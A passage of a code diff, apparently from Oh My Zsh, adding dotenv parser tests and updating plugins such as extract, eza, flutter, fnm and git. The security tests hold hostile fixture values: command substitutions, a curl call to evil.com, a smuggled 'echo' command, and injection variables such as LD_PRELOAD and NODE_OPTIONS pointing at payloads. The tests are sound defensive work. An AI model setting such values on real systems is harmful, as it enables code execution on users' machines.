+bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/
+kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V
+u4QuUoobAgMBAAE=
+-----END PUBLIC KEY-----"
+EOF
+
+  expected_vars=(
+    MULTI_DOUBLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING'
+    MULTI_SINGLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING'
+    MULTI_PEM_DOUBLE_QUOTED $'-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u\nLgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/\nbTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/\nkKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V\nu4QuUoobAgMBAAE=\n-----END PUBLIC KEY-----'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse export syntax' {
+  > "$fixture" <<'EOF'
+# Exported variables
+export EXPORTED_VAR=exported_value
+export EXPORTED_EMPTY=
+EOF
+
+  expected_vars=(
+    EXPORTED_VAR 'exported_value'
+    EXPORTED_EMPTY ''
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse in-file variable expansion' {
+  > "$fixture" <<'EOF'
+# Variable expansion (in-file forward references)
+BASE_URL=https://api.example.com
+API_ENDPOINT="${BASE_URL}/v1"
+FULL_ENDPOINT=$BASE_URL/v2/users
+COMBINED="${BASE_URL}_suffix"
+EOF
+
+  expected_vars=(
+    BASE_URL 'https://api.example.com'
+    API_ENDPOINT 'https://api.example.com/v1'
+    FULL_ENDPOINT 'https://api.example.com/v2/users'
+    COMBINED 'https://api.example.com_suffix'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse in-file variable expansion prefers the longest matching variable name' {
+  > "$fixture" <<'EOF'
+A=1
+ABC=2
+X=$ABC
+Y=${ABC}
+Z=$ABCD
+EOF
+
+  expected_vars=(
+    A '1'
+    ABC '2'
+    X '2'
+    Y '2'
+    Z ''
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse preserves escaped dollar signs before variable expansion' {
+  > "$fixture" <<'EOF'
+BAR=expanded
+ESCAPED_UNQUOTED=foo\$BAR
+ESCAPED_DOUBLE="foo\$BAR"
+ESCAPED_BRACED="\${BAR}"
+EOF
+
+  expected_vars=(
+    BAR 'expanded'
+    ESCAPED_UNQUOTED 'foo$BAR'
+    ESCAPED_DOUBLE 'foo$BAR'
+    ESCAPED_BRACED '${BAR}'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}

plugins/dotenv/tests/compatibility.zunit

@@ -0,0 +1,27 @@
+#!/usr/bin/env zunit
+
+@setup {
+  unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
+}
+
+@teardown {
+  unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
+}
+
+@test 'compatibility: dotenvjs fixture matches native source' {
+  local fixture="${testdir:A}/_support/fixtures/dotenvjs.env"
+
+  _parse_dotenv_test "$fixture"
+  _source_with_allexport "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS"
+}
+
+@test 'compatibility: features fixture matches native source' {
+  local fixture="${testdir:A}/_support/fixtures/features.env"
+
+  _parse_dotenv_test "$fixture"
+  _source_with_allexport "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS"
+}

plugins/dotenv/tests/security.zunit

@@ -0,0 +1,209 @@
+#!/usr/bin/env zunit
+
+@setup {
+  typeset -g fixture="$(_create_temp_fixture)"
+  typeset -gA expected_vars=()
+}
+
+@teardown {
+  [[ -f "$fixture" ]] && command rm -f "$fixture"
+  unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
+}
+
+@test 'skip dangerous backtick command substitution' {
+  > "$fixture" <<'EOF'
+# Should be skipped
+DANGEROUS_BACKTICK=`whoami`
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip dangerous subshell command substitution' {
+  > "$fixture" <<'EOF'
+# Should be skipped
+DANGEROUS_SUBSHELL=$(date)
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip nested command substitution in double quotes' {
+  > "$fixture" <<'EOF'
+# Should be skipped
+DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip multiple words (potential command execution)' {
+  > "$fixture" <<'EOF'
+# Should be skipped - multiple words could execute commands
+BASE_URL=/ echo command run
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'allow literal command substitution in single quotes' {
+  > "$fixture" <<'EOF'
+# Single quotes make everything literal - should be parsed
+SAFE_SINGLE_QUOTED='$(this is literal)'
+SAFE_BACKTICK='`also literal`'
+
+# Should also be parsed
+SAFE_VAR=safe_value
+EOF
+
+  expected_vars=(
+    SAFE_SINGLE_QUOTED '$(this is literal)'
+    SAFE_BACKTICK '`also literal`'
+    SAFE_VAR 'safe_value'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip backticks in unquoted values' {
+  > "$fixture" <<'EOF'
+# Backticks in unquoted context - should be skipped
+DANGEROUS_UNQUOTED=`echo danger`
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip dollar-paren in unquoted values' {
+  > "$fixture" <<'EOF'
+# Command substitution in unquoted context - should be skipped
+DANGEROUS_UNQUOTED=$(uname -a)
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'allow safe dollar signs (variable refs without parens in single quotes)' {
+  > "$fixture" <<'EOF'
+# Dollar signs that don't start command substitution
+SAFE_DOLLARS='$HOME is literal'
+SAFE_PRICE='Cost is $50'
+SAFE_VAR='value$123'
+
+# Should all be parsed
+SAFE_VAR2=safe_value
+EOF
+
+  expected_vars=(
+    SAFE_DOLLARS '$HOME is literal'
+    SAFE_PRICE 'Cost is $50'
+    SAFE_VAR 'value$123'
+    SAFE_VAR2 'safe_value'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip quoted command substitution' {
+  > "$fixture" <<'EOF'
+HARMLESS_COMMAND="\$(echo)"
+ANOTHER_ONE=$'\x24\x28echo\x29'
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'comprehensive security test with mixed safe and dangerous patterns' {
+  > "$fixture" <<'EOF'
+# These should be SKIPPED (dangerous)
+DANGEROUS_BACKTICK=`whoami`
+DANGEROUS_SUBSHELL=$(date)
+DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
+LOOKS_SAFE=$(curl http://evil.com)
+BASE_URL=/ echo command run
+
+# These should WORK (safe)
+SAFE_BEFORE=safe_value_1
+SAFE_AFTER=safe_value_2
+SAFE_SINGLE_QUOTED='$(this is literal)'
+SAFE_SINGLE_QUOTED2='`also literal`'
+SAFE_DOLLARS='$HOME'
+SAFE_PRICE="$50"
+EOF
+
+  expected_vars=(
+    SAFE_BEFORE 'safe_value_1'
+    SAFE_AFTER 'safe_value_2'
+    SAFE_SINGLE_QUOTED '$(this is literal)'
+    SAFE_SINGLE_QUOTED2 '`also literal`'
+    SAFE_DOLLARS '$HOME'
+    SAFE_PRICE '$50'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+
+
+@test 'blocks changes of special environment variables' {
+  _parse_dotenv_test =(<<'EOF'
+# Executes on the next node/npm/npx invocation
+NODE_OPTIONS=--require=./payload.js
+
+# Used for shell initialization
+BASH_ENV=./payload.sh
+# Used for shell initialization in zsh, but also respected by some tools like git
+# - https://man7.org/linux/man-pages/man1/dash.1.html#DESCRIPTION:~:text=by%20the%20shell.-,Invocation,-If%20no%20args
+# - https://zsh.sourceforge.io/Doc/Release/Parameters.html#index-ENV
+ENV=./payload.sh
+# Used for zsh startup
+ZDOTDIR=./.malicious_zsh
+ZSH=./.malicious_zsh
+
+# These are used for native code injection
+LD_PRELOAD=./payload.so
+LD_LIBRARY_PATH=./malicious_libs
+DYLD_INSERT_LIBRARIES=./payload.dylib
+
+# Git environment variables
+GIT_CONFIG_GLOBAL=./.gitconfig-malicious
+GIT_DIR=./malicious_git_dir
+GIT_EDITOR=./malicious_editor
+GIT_EXTERNAL_DIFF=./malicious_diff
+GIT_EXEC_PATH=./.malicious_git_exec
+GIT_PAGER=./malicious_pager
+GIT_SSH=./malicious_ssh
+GIT_SSH_COMMAND=./malicious_ssh_command
+GIT_SSL_NO_VERIFY=true
+GIT_TEMPLATE_DIR=./malicious_templates # for persistence
+
+# Special exported variables
+PATH=./malicious_bin:$PATH
+EDITOR=./malicious
+VISUAL=./malicious
+PAGER=./malicious
+EOF
+)
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}

plugins/extract/_extract

@@ -53,5 +53,6 @@ local -a exts=(
 
 _arguments \
   '(-r --remove)'{-r,--remove}'[Remove archive.]' \
+  '(-t --to-directory)'{-t,--to-directory}'[Extract to a specific directory.]' \
   "*::archive file:_files -g '(#i)*.(${(j:|:)exts})(-.)'" \
     && return 0

plugins/extract/extract.plugin.zsh

@@ -9,14 +9,41 @@ Usage: extract [-option] [file ...]
 
 Options:
     -r, --remove    Remove archive after unpacking.
+    -t, --to-directory <dir>  Extract to a specific directory instead of the current one.
 EOF
   fi
 
   local remove_archive=1
-  if [[ "$1" == "-r" ]] || [[ "$1" == "--remove" ]]; then
+  local target_directory=""
-    remove_archive=0
+
-    shift
+  while (( $# > 0 )); do
-  fi
+    case "$1" in
+      -r|--remove)
+        remove_archive=0
+        shift
+        ;;
+      -t|--to-directory)
+        shift
+        if (( $# == 0 )); then
+          echo "extract: -t/--to-directory requires a directory argument" >&2
+          return 1
+        fi
+
+        target_directory="$1"
+        shift
+
+        if [[ ! -d "$target_directory" ]]; then
+          echo "extract: '$target_directory' is not a valid directory" >&2
+          return 1
+        fi
+
+        target_directory="${target_directory%/}"
+        ;;
+      *)
+        break
+        ;;
+    esac
+  done
 
   local pwd="$PWD"
   while (( $# > 0 )); do
@@ -35,6 +62,10 @@ EOF
       extract_dir="${extract_dir:r}"
     fi
 
+    if [[ -n "$target_directory" ]]; then
+      extract_dir="$target_directory/${extract_dir:t}"
+    fi
+
     # If there's a file or directory with the same name as the archive
     # add a random string to the end of the extract directory
     if [[ -e "$extract_dir" ]]; then
@@ -71,13 +102,21 @@ EOF
       (*.tar.lrz) (( $+commands[lrzuntar] )) && lrzuntar "$full_path" ;;
       (*.gz) (( $+commands[pigz] )) && pigz -cdk "$full_path" > "${file:t:r}" || gunzip -ck "$full_path" > "${file:t:r}" ;;
       (*.bz2) (( $+commands[pbzip2] )) && pbzip2 -d "$full_path" || bunzip2 "$full_path" ;;
-      (*.xz) unxz "$full_path" ;;
+      (*.xz) xzcat "$full_path" > "${file:t:r}" ;;
       (*.lrz) (( $+commands[lrunzip] )) && lrunzip "$full_path" ;;
       (*.lz4) lz4 -d "$full_path" ;;
       (*.lzma) unlzma "$full_path" ;;
       (*.z) uncompress "$full_path" ;;
       (*.zip|*.war|*.jar|*.ear|*.sublime-package|*.ipa|*.ipsw|*.xpi|*.apk|*.aar|*.whl|*.vsix|*.crx|*.pk3|*.pk4) unzip "$full_path" ;;
-      (*.rar) unrar x -ad "$full_path" ;;
+      (*.rar)
+        if (( $+commands[unrar] )); then
+          unrar x -ad "$full_path"
+        elif (( $+commands[unar] )); then
+          unar -o . "$full_path"
+        else
+          echo "extract: cannot extract RAR files: install unrar or unar" >&2
+          success=1
+        fi ;;
       (*.rpm)
         rpm2cpio "$full_path" | cpio --quiet -id ;;
       (*.7z | *.7z.[0-9]* | *.pk7) 7za x "$full_path" ;;
@@ -118,7 +157,7 @@ EOF
       # 1. Move and rename the extracted file/folder to a temporary random name
       # 2. Delete the empty folder
       # 3. Rename the extracted file/folder to the original name
-      if [[ "${content[1]:t}" == "$extract_dir" ]]; then
+      if [[ "${content[1]:t}" == "${extract_dir:t}" ]]; then
         # =(:) gives /tmp/zsh<random>, with :t it gives zsh<random>
         local tmp_name==(:); tmp_name="${tmp_name:t}"
         command mv "${content[1]}" "$tmp_name" \
@@ -126,9 +165,9 @@ EOF
         && command mv "$tmp_name" "$extract_dir"
       # Otherwise, if the extracted folder name already exists in the current
       # directory (because of a previous file / folder), keep the extract_dir
-      elif [[ ! -e "${content[1]:t}" ]]; then
+      elif [[ ! -e "${target_directory:-.}/${content[1]:t}" ]]; then
-        command mv "${content[1]}" . \
+        command mv -- "${content[1]}" "${target_directory:-.}/" \
-        && command rmdir "$extract_dir"
+        && command rmdir -- "$extract_dir"
       fi
     elif [[ ${#content} -eq 0 ]]; then
       command rmdir "$extract_dir"

plugins/eza/README.md

@@ -48,10 +48,11 @@ Default: `no`
 ### `show-group`
 
 ```zsh
-zstyle ':omz:plugins:eza' 'show-group' yes|no
+zstyle ':omz:plugins:eza' 'show-group' yes|no|smart
 ```
 
 If `yes` (default), always add `-g` flag to show the group ownership.
+If `smart`, adds the `--smart-group` flag to only show the group if it has a different name from the owner.
 
 Default: `yes`
 

plugins/eza/eza.plugin.zsh

@@ -9,9 +9,15 @@ typeset -a _EZA_TAIL
 function _configure_eza() {
   local _val
   # Get the head flags
-  if zstyle -T ':omz:plugins:eza' 'show-group'; then
+  zstyle -s ':omz:plugins:eza' 'show-group' _val
-    _EZA_HEAD+=("g")
+  case "${_val:l}" in
-  fi
+    yes)
+      _EZA_HEAD+=("g")
+      ;;
+    smart)
+      _EZA_TAIL+=("--smart-group")
+      ;;
+  esac
   if zstyle -t ':omz:plugins:eza' 'header'; then
     _EZA_HEAD+=("h")
   fi
@@ -46,8 +52,13 @@ function _configure_eza() {
   if [[ $_val ]]; then
     _EZA_TAIL+=("--time-style='$_val'")
   fi
-  if zstyle -t ":omz:plugins:eza" "hyperlink"; then
+  if zstyle -t ':omz:plugins:eza' 'hyperlink'; then
-    _EZA_TAIL+=("--hyperlink")
+    # eza >= 0.23 needs an explicit WHEN value
+    if command eza --hyperlink=auto --version &>/dev/null; then
+      _EZA_TAIL+=("--hyperlink=auto")
+    else
+      _EZA_TAIL+=("--hyperlink")
+    fi
   fi
 }
 

plugins/fig/README.md

@@ -1,9 +0,0 @@
-# Fig plugin
-
-This plugin sets up completion for [Fig](https://fig.io/).
-
-To use it, add `fig` to the plugins array in your zshrc file:
-
-```zsh
-plugins=(... fig)
-```

plugins/fig/fig.plugin.zsh

@@ -1,13 +0,0 @@
-if ! (( $+commands[fig] )); then
-  return
-fi
-
-# If the completion file doesn't exist yet, we need to autoload it and
-# bind it to `fig`. Otherwise, compinit will have already done that
-if [[ ! -f "$ZSH_CACHE_DIR/completions/_fig" ]]; then
-  autoload -Uz _fig
-  typeset -g -A _comps
-  _comps[fig]=_fig
-fi
-
-fig completion zsh >| "$ZSH_CACHE_DIR/completions/_fig" &|

plugins/flutter/README.md

@@ -13,16 +13,20 @@ plugins=(... flutter)
 | Alias      | Command                 | Description                                                                |
 | :--------- | :---------------------- | :------------------------------------------------------------------------- |
 | `fl`       | `flutter`               | Shorthand for flutter command                                              |
+| `fla`      | `flutter analyze`       | Analyzes flutter code                                                      |
 | `flattach` | `flutter attach`        | Attaches flutter to a running flutter application with enabled observatory |
 | `flb`      | `flutter build`         | Build flutter application                                                  |
-| `flchnl`   | `flutter channel`       | Switches flutter channel (requires input of desired channel)               |
 | `flc`      | `flutter clean`         | Cleans flutter project                                                     |
-| `fldvcs`   | `flutter devices`       | List connected devices (if any)                                            |
+| `flchnl`   | `flutter channel`       | Switches flutter channel (requires input of desired channel)               |
 | `fldoc`    | `flutter doctor`        | Runs flutter doctor                                                        |
-| `flpub`    | `flutter pub`           | Shorthand for flutter pub command                                          |
+| `fldvcs`   | `flutter devices`       | List connected devices (if any)                                            |
 | `flget`    | `flutter pub get`       | Installs dependencies                                                      |
+| `fll`      | `flutter logs`          | Shows flutter logs                                                         |
+| `flpu`     | `flutter pub upgrade`   | Upgrades dependencies                                                      |
+| `flpub`    | `flutter pub`           | Shorthand for flutter pub command                                          |
 | `flr`      | `flutter run`           | Runs flutter app                                                           |
 | `flrd`     | `flutter run --debug`   | Runs flutter app in debug mode (default mode)                              |
 | `flrp`     | `flutter run --profile` | Runs flutter app in profile mode                                           |
 | `flrr`     | `flutter run --release` | Runs flutter app in release mode                                           |
-| `flupgrd`  | `flutter upgrade`       | Upgrades flutter version depending on the current channel                  |
+| `flt`      | `flutter test`          | Runs flutter tests                                                         |
+| `flupgrd`  | `flutter upgrade`       | Upgrades flutter version depending on the current channel                  |

plugins/flutter/flutter.plugin.zsh

@@ -1,16 +1,20 @@
 alias fl="flutter"
+alias fla="flutter analyze"
 alias flattach="flutter attach"
 alias flb="flutter build"
-alias flchnl="flutter channel"
 alias flc="flutter clean"
-alias fldvcs="flutter devices"
+alias flchnl="flutter channel"
 alias fldoc="flutter doctor"
-alias flpub="flutter pub"
+alias fldvcs="flutter devices"
 alias flget="flutter pub get"
+alias fll="flutter logs"
+alias flpu="flutter pub upgrade"
+alias flpub="flutter pub"
 alias flr="flutter run"
 alias flrd="flutter run --debug"
 alias flrp="flutter run --profile"
 alias flrr="flutter run --release"
+alias flt="flutter test"
 alias flupgrd="flutter upgrade"
 
 # COMPLETION FUNCTION
@@ -26,4 +30,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_flutter" ]]; then
   _comps[flutter]=_flutter
 fi
 
-flutter zsh-completion < /dev/null >| "$ZSH_CACHE_DIR/completions/_flutter" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_flutter"
+  zf_mv -f -- =( flutter zsh-completion < /dev/null ) "$TMPPREFIX"
+} &|

plugins/fluxcd/fluxcd.plugin.zsh

@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_flux" ]]; then
   _comps[flux]=_flux
 fi
 
-flux completion zsh >| "$ZSH_CACHE_DIR/completions/_flux" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_flux"
+  zf_mv -f -- =( flux completion zsh ) "$TMPPREFIX"
+} &|

plugins/fnm/README.md

@@ -2,8 +2,34 @@
 
 This plugin adds autocompletion for [fnm](https://github.com/Schniz/fnm) - a Node.js version manager.
 
-To use it, add `fnm` to the plugins array in your zshrc file:
+To use it, add `fnm` to the plugins array in your `.zshrc` file:
 
 ```zsh
 plugins=(... fnm)
 ```
+
+## Configuration
+
+These settings should go in your `.zshrc` file, before Oh My Zsh is sourced.
+
+### Autostart
+
+If set, the plugin will automatically start fnm for the session, running the `fnm env`:
+
+```zsh
+zstyle ':omz:plugins:fnm' autostart yes
+```
+
+Default: `no` (disabled)
+
+### Use on cd
+
+If set, the Node.js version will be switched based on the requirements of the current directory (recommended):
+
+```zsh
+zstyle ':omz:plugins:fnm' use-on-cd yes
+```
+
+Default: `yes` (enabled)
+
+Check out the [official documentation](https://github.com/Schniz/fnm/blob/master/docs/commands.md) for the available fnm variables.

plugins/fnm/fnm.plugin.zsh

@@ -10,4 +10,16 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_fnm" ]]; then
   _comps[fnm]=_fnm
 fi
 
-fnm completions --shell=zsh >| "$ZSH_CACHE_DIR/completions/_fnm" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_fnm"
+  zf_mv -f -- =( fnm completions --shell=zsh ) "$TMPPREFIX"
+} &|
+
+if zstyle -t ':omz:plugins:fnm' autostart; then
+  local -a fnm_env_cmd
+  if zstyle -T ':omz:plugins:fnm' use-on-cd; then
+    fnm_env_cmd+=("--use-on-cd")
+  fi
+  eval "$(fnm env --shell=zsh $fnm_env_cmd)"
+fi

plugins/gcx/README.md

@@ -0,0 +1,18 @@
+# Grafana CLI plugin
+
+This plugin adds completion for the [Grafana CLI (gcx)](https://github.com/grafana/gcx).
+
+To use it, add `gcx` to the plugins array in your zshrc file:
+
+```zsh
+plugins=(... gcx)
+```
+
+This plugin does not add any aliases.
+
+## Cache
+
+This plugin caches the completion script and automatically updates it when the
+plugin is loaded, which is usually when you start a new terminal emulator.
+
+The cache is stored at `$ZSH_CACHE_DIR/completions/_gcx`.

plugins/gcx/gcx.plugin.zsh

@@ -0,0 +1,18 @@
+# Autocompletion for the Grafana CLI (gcx).
+if (( ! $+commands[gcx] )); then
+  return
+fi
+
+# If the completion file doesn't exist yet, we need to autoload it and
+# bind it to `gcx`. Otherwise, compinit will have already done that.
+if [[ ! -f "$ZSH_CACHE_DIR/completions/_gcx" ]]; then
+  typeset -g -A _comps
+  autoload -Uz _gcx
+  _comps[gcx]=_gcx
+fi
+
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_gcx"
+  zf_mv -f -- =( gcx completion zsh ) "$TMPPREFIX"
+} &|

plugins/gh/gh.plugin.zsh

@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_gh" ]]; then
   _comps[gh]=_gh
 fi
 
-gh completion --shell zsh >| "$ZSH_CACHE_DIR/completions/_gh" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_gh"
+  zf_mv -f -- =( gh completion --shell zsh ) "$TMPPREFIX"
+} &|

plugins/git/README.md

@@ -45,7 +45,7 @@ plugins=(... git)
 | `gbgD`                 | `LANG=C git branch --no-color -vv \| grep ": gone\]" \| cut -c 3- \| awk '"'"'{print $1}'"'"' \| xargs git branch -D`           |
 | `gbm`                  | `git branch --move`                                                                                                             |
 | `gbnm`                 | `git branch --no-merged`                                                                                                        |
-| `gbr`                  | `git branch --remote`                                                                                                           |
+| `gbr`                  | `git branch --remotes`                                                                                                          |
 | `ggsup`                | `git branch --set-upstream-to=origin/$(git_current_branch)`                                                                     |
 | `gbg`                  | `LANG=C git branch -vv \| grep ": gone\]"`                                                                                      |
 | `gco`                  | `git checkout`                                                                                                                  |
@@ -181,6 +181,8 @@ plugins=(... git)
 | `grst`                 | `git restore --staged`                                                                                                          |
 | `gunwip`               | `git rev-list --max-count=1 --format="%s" HEAD \| grep -q "--wip--" && git reset HEAD~1`                                        |
 | `grev`                 | `git revert`                                                                                                                    |
+| `greva`                | `git revert --abort`                                                                                                            |
+| `grevc`                | `git revert --continue`                                                                                                         |
 | `grm`                  | `git rm`                                                                                                                        |
 | `grmc`                 | `git rm --cached`                                                                                                               |
 | `gcount`               | `git shortlog --summary -n`                                                                                                     |
@@ -215,6 +217,7 @@ plugins=(... git)
 | `gunignore`            | `git update-index --no-assume-unchanged`                                                                                        |
 | `gwch`                 | `git log --patch --abbrev-commit --pretty=medium --raw`                                                                         |
 | `gwt`                  | `git worktree`                                                                                                                  |
+| `gwta`                 | `git worktree add`                                                                                                              |
 | `gwtls`                | `git worktree list`                                                                                                             |
 | `gwtmv`                | `git worktree move`                                                                                                             |
 | `gwtrm`                | `git worktree remove`                                                                                                           |
@@ -234,40 +237,26 @@ branch exists. We do this via the function `git_main_branch`.
 These are aliases that have been removed, renamed, or otherwise modified in a way that may, or may not,
 receive further support.
 
-| Alias    | Command                                                   | Modification                                              |
+| Alias    | Command                                                   | Modification                                          |
-| :------- | :-------------------------------------------------------- | :-------------------------------------------------------- |
+| :------- | :-------------------------------------------------------- | :-----------------------------------------------------|
-| `gap`    | `git add --patch`                                         | New alias: `gapa`.                                        |
+| `gap`    | `git add --patch`                                         | New alias: `gapa`                                     |
-| `gcl`    | `git config --list`                                       | New alias: `gcf`.                                         |
+| `gcl`    | `git config --list`                                       | New alias: `gcf`                                      |
-| `gdc`    | `git diff --cached`                                       | New alias: `gdca`.                                        |
+| `gdt`    | `git difftool`                                            | No replacement                                        |
-| `gdt`    | `git difftool`                                            | No replacement.                                           |
-| `ggpull` | `git pull origin $(current_branch)`                       | New alias: `ggl`. (`ggpull` still exists for now though.) |
-| `ggpur`  | `git pull --rebase origin $(current_branch)`              | New alias: `ggu`. (`ggpur` still exists for now though.)  |
-| `ggpush` | `git push origin $(current_branch)`                       | New alias: `ggp`. (`ggpush` still exists for now though.) |
-| `gk`     | `gitk --all --branches`                                   | Now aliased to `gitk --all --branches`.                   |
-| `glg`    | `git log --stat --max-count=10`                           | Now aliased to `git log --stat --color`.                  |
-| `glgg`   | `git log --graph --max-count=10`                          | Now aliased to `git log --graph --color`.                 |
-| `gwc`    | `git whatchanged -p --abbrev-commit --pretty = medium`    | New alias: `gwch`.                                        |
-| `gup`    | `git pull --rebase`                                       | now alias `gpr`                                           |
-| `gupv`   | `git pull --rebase -v`                                    | now alias `gprv`                                          |
-| `gupa`   | `git pull --rebase --autostash`                           | now alias `gpra`                                          |
-| `gupav`  | `git pull --rebase --autostash -v`                        | now alias `gprav`                                         |
-| `gupom`  | `git pull --rebase origin $(git_main_branch)`             | now alias `gprom`                                         |
-| `gupomi` | `git pull --rebase=interactive origin $(git_main_branch)` | now alias `gpromi`                                        |
 
 ## Functions
 
 ### Current
 
-| Command                  | Description                                                                                                     |
+| Command                  | Description                                                                                                    |
-| :----------------------- | :-------------------------------------------------------------------------------------------------------------- |
+| :----------------------- | :------------------------------------------------------------------------------------------------------------- |
-| `current_branch`         | Returns the name of the current branch.                                                                         |
+| `git_current_branch`     | Returns the name of the current branch (Lives in `lib/git.zsh`)                                                |
-| `git_current_user_email` | Returns the `user.email` config value. (Lives in `lib/git.zsh`.)                                                |
+| `git_current_user_email` | Returns the `user.email` config value (Lives in `lib/git.zsh`)                                                 |
-| `git_current_user_name`  | Returns the `user.name` config value. (Lives in `lib/git.zsh`.)                                                 |
+| `git_current_user_name`  | Returns the `user.name` config value (Lives in `lib/git.zsh`)                                                  |
-| `git_develop_branch`     | Returns the name of the “development” branch: `dev`, `devel`, `development` if they exist, `develop` otherwise. |
+| `git_develop_branch`     | Returns the name of the “development” branch: `dev`, `devel`, `development` if they exist, `develop` otherwise |
-| `git_main_branch`        | Returns the name of the main branch: `main` if it exists, `master` otherwise.                                   |
+| `git_main_branch`        | Returns the name of the main branch: `main` if it exists, `master` otherwise                                   |
-| `grename <old> <new>`    | Renames branch `<old>` to `<new>`, including on the origin remote.                                              |
+| `grename <old> <new>`    | Renames branch `<old>` to `<new>`, including on the origin remote                                              |
-| `gbda`                   | Deletes all merged branches                                                                                     |
+| `gbda`                   | Deletes all merged branches                                                                                    |
-| `gbds`                   | Deletes all squash-merged branches (**Note: performance degrades with number of branches**)                     |
+| `gbds`                   | Deletes all squash-merged branches (**Note: performance degrades with number of branches**)                    |
 
 ### Work in Progress (WIP)
 
@@ -287,4 +276,3 @@ Note that `gwip` and `gunwip` are aliases, but are also documented here to group
 
 | Command              | Description                             | Reason                                                           |
 | :------------------- | :-------------------------------------- | :--------------------------------------------------------------- |
-| `current_repository` | Return the names of the current remotes | Didn't work properly. Use `git remote -v` instead (`grv` alias). |

plugins/git/git.plugin.zsh

@@ -1,6 +1,25 @@
 # Git version checking
 autoload -Uz is-at-least
-git_version="${${(As: :)$(git version 2>/dev/null)}[3]}"
+# Running `git version` forks on every startup, so cache the result for a day
+# in $ZSH_CACHE_DIR, keyed on the git command path, mtime, and exec path.
+() {
+  local cache="$ZSH_CACHE_DIR/git-version" key exec_path
+  local -a stat lines
+  zmodload -F zsh/stat b:zstat
+  zstat -A stat +mtime -- "$commands[git]" 2>/dev/null
+  exec_path="$(git --exec-path 2>/dev/null)"
+  key="$commands[git] $stat[1] $exec_path"
+
+  lines=("$cache"(Nm-1))
+  (( $#lines )) && lines=("${(@f)$(<"$cache")}")
+  if [[ "$lines[1]" = "$key" ]]; then
+    git_version="$lines[2]"
+    return
+  fi
+
+  git_version="${${(As: :)$(git version 2>/dev/null)}[3]}"
+  [[ ! -w "$ZSH_CACHE_DIR" ]] || print -rl -- "$key" "$git_version" >| "$cache"
+}
 
 #
 # Functions Current
@@ -8,14 +27,6 @@ git_version="${${(As: :)$(git version 2>/dev/null)}[3]}"
 # (order should follow README)
 #
 
-# The name of the current branch
-# Back-compatibility wrapper for when this function was defined here in
-# the plugin, before being pulled in to core lib/git.zsh as git_current_branch()
-# to fix the core -> git plugin dependency.
-function current_branch() {
-  git_current_branch
-}
-
 # Check for develop and similarly named branches
 function git_develop_branch() {
